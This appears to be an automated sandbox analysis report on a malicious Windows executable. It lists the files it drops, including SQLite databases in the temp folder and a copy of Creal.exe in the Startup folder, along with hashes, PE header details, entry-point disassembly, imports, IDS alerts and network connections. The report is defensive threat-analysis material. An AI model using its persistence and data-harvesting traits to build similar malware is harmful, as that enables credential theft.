SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrsllrvszk.db

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrwnxfrusw.db

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrxgbqckbr.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcryclhnght.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrytfipghb.db

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe

Download File

Process:	C:\Users\user\Desktop\Creal.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16912015
Entropy (8bit):	7.996822378035481
Encrypted:	true
SSDEEP:	393216:29YiZM63hucsXMCHWUj/cuIbvR/PrK8Xms96YqZVo:29YiZt3hrsXMb8Ut/TKXlVo
MD5:	017603B860F67F7F65F724E519465926
SHA1:	51B1924EC73969FC16E00C0E80597C07711CF866
SHA-256:	1BA7BEDAAA3A81350A78CF579E625E879D6D68CEF0F7AC8C55CC419798F380E1
SHA-512:	A695347BEF5BDFDCD4ADEE43909B375828D89D48F78F88D443E4E19728FF82F2BFB5487EA80FBBBD9953394985BB0FDC935DA734EB32220FB386D701F9BC3945
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n=..\.Z\.Z\.Za$.[-\.Za$.[.\.Za$.[ \.Z:..Z)\.Z:..[#\.Z:..[;\.Z:..[.\.Za$.[!\.Z\.Z.\.Zb..[3\.Zb..[+\.ZRich\.Z........PE..d...f%/g.........."....).....\.................@....................................r.....`.................................................\...x....p.......@..P"...........p..d...................................@...@............................................text............................... ..`.rdata..P.......,..................@..@.data....S..........................@....pdata..P"...@...$..................@..@.rsrc........p......................@..@.reloc..d....p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Built.exe

Download File

Process:	C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7849062
Entropy (8bit):	7.993164697244828
Encrypted:	true
SSDEEP:	196608:yOgFHwfI9jUC2gYBYv3vbW5+iITm1U6fi:4FMIH2gYBgDW4TOz6
MD5:	12E9F3CE18351EE539646C23CC862C5C
SHA1:	0B2487FE4E3FFAF79FDF1C0C0B01F6CE68346DAF
SHA-256:	72FDB72DCC71697B027824211E2879F4BF8C8974E56A857F2FCA30AD7B675D6F
SHA-512:	585882CBB5E8097D47B3985326A4AE9C17D2E015801652D88A5C5230FEAB1ADD48F60BD73FA9FF34B505DE742B437E53ED03B53D5011C1834C134610FF96AC59
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n=..\.Z\.Z\.Za$.[-\.Za$.[.\.Za$.[ \.Z:..Z)\.Z:..[#\.Z:..[;\.Z:..[.\.Za$.[!\.Z\.Z.\.Zb..[3\.Zb..[+\.ZRich\.Z........PE..d....-/g.........."....).....p.................@......................................x...`.................................................\...x....p.......@..P"....w..'......d...................................@...@............................................text............................... ..`.rdata..P.......,..................@..@.data....S..........................@....pdata..P"...@...$..................@..@.rsrc........p......................@..@.reloc..d...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Creal.exe

Download File

Process:	C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16912015
Entropy (8bit):	7.996822378035481
Encrypted:	true
SSDEEP:	393216:29YiZM63hucsXMCHWUj/cuIbvR/PrK8Xms96YqZVo:29YiZt3hrsXMb8Ut/TKXlVo
MD5:	017603B860F67F7F65F724E519465926
SHA1:	51B1924EC73969FC16E00C0E80597C07711CF866
SHA-256:	1BA7BEDAAA3A81350A78CF579E625E879D6D68CEF0F7AC8C55CC419798F380E1
SHA-512:	A695347BEF5BDFDCD4ADEE43909B375828D89D48F78F88D443E4E19728FF82F2BFB5487EA80FBBBD9953394985BB0FDC935DA734EB32220FB386D701F9BC3945
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n=..\.Z\.Z\.Za$.[-\.Za$.[.\.Za$.[ \.Z:..Z)\.Z:..[#\.Z:..[;\.Z:..[.\.Za$.[!\.Z\.Z.\.Zb..[3\.Zb..[+\.ZRich\.Z........PE..d...f%/g.........."....).....\.................@....................................r.....`.................................................\...x....p.......@..P"...........p..d...................................@...@............................................text............................... ..`.rdata..P.......,..................@..@.data....S..........................@....pdata..P"...@...$..................@..@.rsrc........p......................@..@.reloc..d....p......................@..B........................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Preview:	..Service Version: 0.0.0.0..user Version: 0.0.0.0....No user/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.998309569463509
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe
File size:	24'810'296 bytes
MD5:	3ac5f99224a92851c80fe4178fff6002
SHA1:	20eae332be7470533009e2a0f28412463acb1f06
SHA256:	a21cd46fbedb13199e3675a4ee14af9914547d237342fca0c8cd8022a7888363
SHA512:	273ac0822ed0aae191333df6ebfca136e7dd87a910b11343fffefd96b37f2f4d25824a1e5f7708e01bf8bd19466b9a0bab2437b21a672e2e846ad6c3e6b3dcab
SSDEEP:	393216:oAZ/msYXMrZme4GaBWbBFcCdq1auXYKKJo1/uG8IQKqSgjqgeMW5+74:oAZ/mlXKZmWaYFqoBo1uG8N/jReMD4
TLSH:	28473348EB9508EDC2BBD5349DC71712E6767C161731DA6B62E903262E6F2B0CC7A313
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........B#..,p..,p..,p.:.p..,p.:.p5.,p.:.p..,p<..p..,p<.(q..,p<./q..,p<.)q..,p...p..,p...p..,p...p..,p..-p..,p2.)q..,p2.,q..,p2..p..,

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x1400266b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6640972B [Sun May 12 10:17:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	e8a30656287fe831c9782204ed10cd68

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F724CC47EB8h
dec eax
add esp, 28h
jmp 00007F724CC4784Fh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007F724CC46E13h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007F724CC479E3h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007F724CC496A3h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F724CC468E3h
dec eax
lea edx, dword ptr [00023B67h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F724CC48AB2h
int3
jmp 00007F724CC4E880h
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4b1e0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b214	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x71000	0xe3bc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6c000	0x2ab4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x80000	0x938	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x460e0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x46180	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3de10	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x4a4ac	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x398ce	0x39a00	43edabbddfa6948cff2e968fd336a07d	False	0.5457226138828634	data	6.465308419785883	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3b000	0x1118c	0x11200	53297ea4f69cf70feab0538ecef732e2	False	0.44722285583941607	data	5.215657068009717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4d000	0x1ef5c	0x1a00	08eb45cbc6a0e70bd1c0a96a66c4a6d0	False	0.2765925480769231	DOS executable (block device driver o\3050)	3.1766622656728773	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6c000	0x2ab4	0x2c00	703496d6ceba70b1fe234ccc9c454141	False	0.4807350852272727	data	5.409685184469512	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x6f000	0x308	0x400	c445681068e68e0f8df59c5ea517c5e5	False	0.2421875	data	2.786346435110699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x70000	0x15c	0x200	b999e3f72a9a42ebb4d9b8fafa0a18e7	False	0.40625	data	3.3314534700182197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x71000	0xe3bc	0xe400	02cfe737f5942f05968796f88e24ed4b	False	0.6334292763157895	data	6.77846206625868	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x80000	0x938	0xa00	c057cd0b29d094da3cebf433be170d6d	False	0.498828125	data	5.228587706357198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
PNG	0x71674	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	1.0027729636048528
PNG	0x721bc	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	0.9363390441839495
RT_ICON	0x73768	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	0.47832369942196534
RT_ICON	0x73cd0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	0.5410649819494585
RT_ICON	0x74578	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	0.4933368869936034
RT_ICON	0x75420	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	0.5390070921985816
RT_ICON	0x75888	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	0.41393058161350843
RT_ICON	0x76930	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	0.3479253112033195
RT_ICON	0x78ed8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9809269502193401
RT_DIALOG	0x7cc4c	0x2ba	data	0.5286532951289399
RT_DIALOG	0x7cf08	0x13a	data	0.6560509554140127
RT_DIALOG	0x7d044	0xf2	data	0.71900826446281
RT_DIALOG	0x7d138	0x14a	data	0.6
RT_DIALOG	0x7d284	0x314	data	0.47588832487309646
RT_DIALOG	0x7d598	0x24a	data	0.6279863481228669
RT_STRING	0x7d7e4	0x1fc	data	0.421259842519685
RT_STRING	0x7d9e0	0x246	data	0.41924398625429554
RT_STRING	0x7dc28	0x1a6	data	0.514218009478673
RT_STRING	0x7ddd0	0xdc	data	0.65
RT_STRING	0x7deac	0x470	data	0.3873239436619718
RT_STRING	0x7e31c	0x164	data	0.5056179775280899
RT_STRING	0x7e480	0x110	data	0.5772058823529411
RT_STRING	0x7e590	0x158	data	0.4563953488372093
RT_STRING	0x7e6e8	0xe8	data	0.5948275862068966
RT_STRING	0x7e7d0	0x1c6	data	0.5242290748898678
RT_STRING	0x7e998	0x268	data	0.4837662337662338
RT_GROUP_ICON	0x7ec00	0x68	data	0.7019230769230769
RT_MANIFEST	0x7ec68	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileTime, CloseHandle, CreateFileW, GetCurrentProcessId, CreateDirectoryW, RemoveDirectoryW, SetFileAttributesW, GetFileAttributesW, DeleteFileW, MoveFileW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetCurrentProcess, GetExitCodeProcess, WaitForSingleObject, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapReAlloc, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipCloneImage, GdipAlloc, GdipDisposeImage, GdipCreateBitmapFromStream, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-10T17:02:34.506611+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.6	49726	TCP
2024-11-10T17:03:13.264966+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.6	49956	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 10, 2024 17:02:21.301614046 CET	49700	80	192.168.2.6	208.95.112.1
Nov 10, 2024 17:02:21.306550026 CET	80	49700	208.95.112.1	192.168.2.6
Nov 10, 2024 17:02:21.306629896 CET	49700	80	192.168.2.6	208.95.112.1
Nov 10, 2024 17:02:21.306849957 CET	49700	80	192.168.2.6	208.95.112.1
Nov 10, 2024 17:02:21.312297106 CET	80	49700	208.95.112.1	192.168.2.6
Nov 10, 2024 17:02:21.908087969 CET	80	49700	208.95.112.1	192.168.2.6
Nov 10, 2024 17:02:21.908698082 CET	49700	80	192.168.2.6	208.95.112.1
Nov 10, 2024 17:02:21.913939953 CET	80	49700	208.95.112.1	192.168.2.6
Nov 10, 2024 17:02:21.914007902 CET	49700	80	192.168.2.6	208.95.112.1
Nov 10, 2024 17:02:22.836833000 CET	49703	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:22.842094898 CET	80	49703	34.160.111.145	192.168.2.6
Nov 10, 2024 17:02:22.842200994 CET	49703	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:22.844841003 CET	49703	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:22.849608898 CET	80	49703	34.160.111.145	192.168.2.6
Nov 10, 2024 17:02:23.456208944 CET	80	49703	34.160.111.145	192.168.2.6
Nov 10, 2024 17:02:23.457083941 CET	49703	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:23.462811947 CET	80	49703	34.160.111.145	192.168.2.6
Nov 10, 2024 17:02:23.462865114 CET	49703	80	192.168.2.6	34.160.111.145
Nov 10, 2024 17:02:28.031359911 CET	49706	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.031436920 CET	443	49706	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:28.032526970 CET	49706	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.034806967 CET	49706	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.034825087 CET	443	49706	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:28.046180964 CET	49707	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:28.046230078 CET	443	49707	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:28.046592951 CET	49707	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:28.047125101 CET	49707	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:28.047137976 CET	443	49707	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:28.645436049 CET	443	49706	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:28.647089005 CET	49706	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.647133112 CET	443	49706	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:28.648490906 CET	443	49706	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:28.648555040 CET	49706	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.651212931 CET	49706	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.651411057 CET	443	49706	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:28.651463032 CET	49706	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.651588917 CET	49706	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.660569906 CET	49713	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:28.660612106 CET	443	49713	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:28.660821915 CET	49713	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:28.661395073 CET	49713	443	192.168.2.6	159.89.102.253
Nov 10, 2024 17:02:28.661413908 CET	443	49713	159.89.102.253	192.168.2.6
Nov 10, 2024 17:02:28.882719040 CET	443	49707	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:28.887984991 CET	49707	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:28.888008118 CET	443	49707	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:28.889322042 CET	443	49707	45.112.123.126	192.168.2.6
Nov 10, 2024 17:02:28.889393091 CET	49707	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:28.895075083 CET	49707	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:28.895216942 CET	49707	443	192.168.2.6	45.112.123.126
Nov 10, 2024 17:02:28.896755934 CET	49714	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.896785975 CET	443	49714	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:28.896858931 CET	49714	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.898658037 CET	49714	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:28.898669004 CET	443	49714	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:29.503468037 CET	443	49714	104.26.12.205	192.168.2.6
Nov 10, 2024 17:02:29.503968000 CET	49714	443	192.168.2.6	104.26.12.205
Nov 10, 2024 17:02:29.503977060 CET	443	49714	104.26.12.205	192.168.2.6
